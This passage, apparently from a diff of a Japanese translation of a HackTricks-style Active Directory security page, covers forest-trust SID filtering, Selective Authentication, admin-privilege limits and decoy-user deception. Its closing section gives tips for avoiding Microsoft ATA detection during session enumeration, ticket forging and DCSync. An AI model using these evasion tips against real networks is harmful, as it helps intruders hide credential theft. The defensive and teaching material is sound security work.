- フォレスト間トラストで SID history 属性を悪用する攻撃のリスクは、すべてのフォレスト間トラストでデフォルトで有効になっている SID Filtering によって軽減されます。これは Microsoft の見解に基づき、セキュリティ境界をドメインではなくフォレストと見なすことを前提としています。
- ただし注意点として、SID filtering はアプリケーションやユーザーのアクセスを阻害する可能性があり、そのため一時的に無効化されることがあります。
- SID history 属性を横断するフォレスト間トラストを悪用した攻撃のリスクは、SID Filtering によって緩和されます。SID Filtering はすべての inter-forest trusts でデフォルトで有効になっています。これは、Microsoft の見解に基づき、security boundary を domain ではなく forest と見なすため、intra-forest trusts は安全であるという前提に支えられています。
- ただし注意点があります。SID filtering はアプリケーションやユーザーアクセスに影響を与える可能性があり、場合によっては無効化されることがあります。
### **Selective Authentication:**
- フォレスト間トラストにおいて、Selective Authentication を採用すると、2 つのフォレストのユーザーが自動的に認証されることはなくなります。代わりに、trusting domain/forest 内のドメインやサーバーにアクセスするためには明示的な権限が必要になります。
- これらの対策は、writable Configuration Naming Context (NC) の悪用や trust account に対する攻撃を防ぐものではない点に留意する必要があります。
- inter-forest trusts に対して Selective Authentication を適用すると、両フォレストのユーザーが自動的に認証されることはなくなります。代わりに、trusting domain やフォレスト内のドメインやサーバーにアクセスするには明示的な権限が必要になります。
- これらの対策は、writable Configuration Naming Context (NC) の悪用や trust account に対する攻撃を防ぐものではない点に注意が必要です。
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
@ -773,27 +768,27 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Defensive Measures for Credential Protection**
- **Domain Admins Restrictions**: Domain Admins は Domain Controllers へのログオンのみを許可し、他のホストでの使用を避けることが推奨されます。
- **Service Account Privileges**: サービスはセキュリティのために Domain Admin (DA) 権限で実行すべきではありません。
- **Temporal Privilege Limitation**: DA 権限が必要なタスクについては、その期間を制限することが推奨されます。例: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Domain Admins Restrictions**: Domain Admins は可能な限り Domain Controllers のみにログインを許可し、他のホストでは使用しないことが推奨されます。
- **Service Account Privileges**: サービスは Domain Admin (DA) 権限で実行すべきではありません。
- **Temporal Privilege Limitation**: DA 権限を要するタスクについては、その期間を限定するべきです。例: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementing Deception Techniques**
- Deception の実装は、パスワードが期限切れにならない、あるいは Trusted for Delegation にマークされたデコイユーザーやコンピュータのようなトラップを設定することを含みます。具体的には、特定の権利を持つユーザーを作成したり、高権限グループに追加したりする方法があります。
- 実際の例: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Deception 技術の展開については [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
- deception の実装は、パスワードが期限切れにならない、Trusted for Delegation にマークされているなどのトラップ(デコイユーザーやデコイコンピュータ)を設置することを含みます。具体的には特定の権利を持つユーザーを作成したり、高権限グループに追加したりする方法があります。
- 実用例としては次のようなツールの使用が挙げられます: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- deception の展開に関する詳細は [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) を参照してください。
### **Identifying Deception**
- **For User Objects**: 異常な ObjectSID、ログオン頻度の低さ、作成日時、低い bad password カウントなどが疑わしい指標になります。
- **General Indicators**: 潜在的なデコイオブジェクトの属性を正規のものと比較することで不整合を発見できます。HoneypotBuster のようなツールが識別に役立ちます([HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)
- **For User Objects**: 疑わしい指標には、異常な ObjectSID、まれなログオン、作成日時、低い bad password カウントなどがります。
- **General Indicators**: デコイオブジェクトと実際のオブジェクトの属性を比較することで矛盾を暴くことができます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) のようなツールがこの識別に役立ちます
### **Bypassing Detection Systems**
- **Microsoft ATA Detection Bypass**:
- **User Enumeration**: ATA 検出を回避するために Domain Controllers 上でのセッション列挙を避ける。
- **Ticket Impersonation**: チケット作成に **aes** キーを利用することで NTLM にフォールバックさせずに検出を免れるのに役立ちます。
- **DCSync Attacks**: Domain Controller から直接実行するとアラートが発生するため、非 Domain Controller から実行することが推奨されます。
- **User Enumeration**: ATA 検出を避けるために Domain Controllers 上でのセッション列挙を避ける。
- **Ticket Impersonation**: aes キーを使ったチケット作成は、NTLM にダウングレードしないことで検出を回避するのに役立ちます。
- **DCSync Attacks**: Domain Controller 以外のマシンから実行することで ATA 検出を回避するのが推奨されます。Domain Controller から直接実行するとアラートが発生します。
## References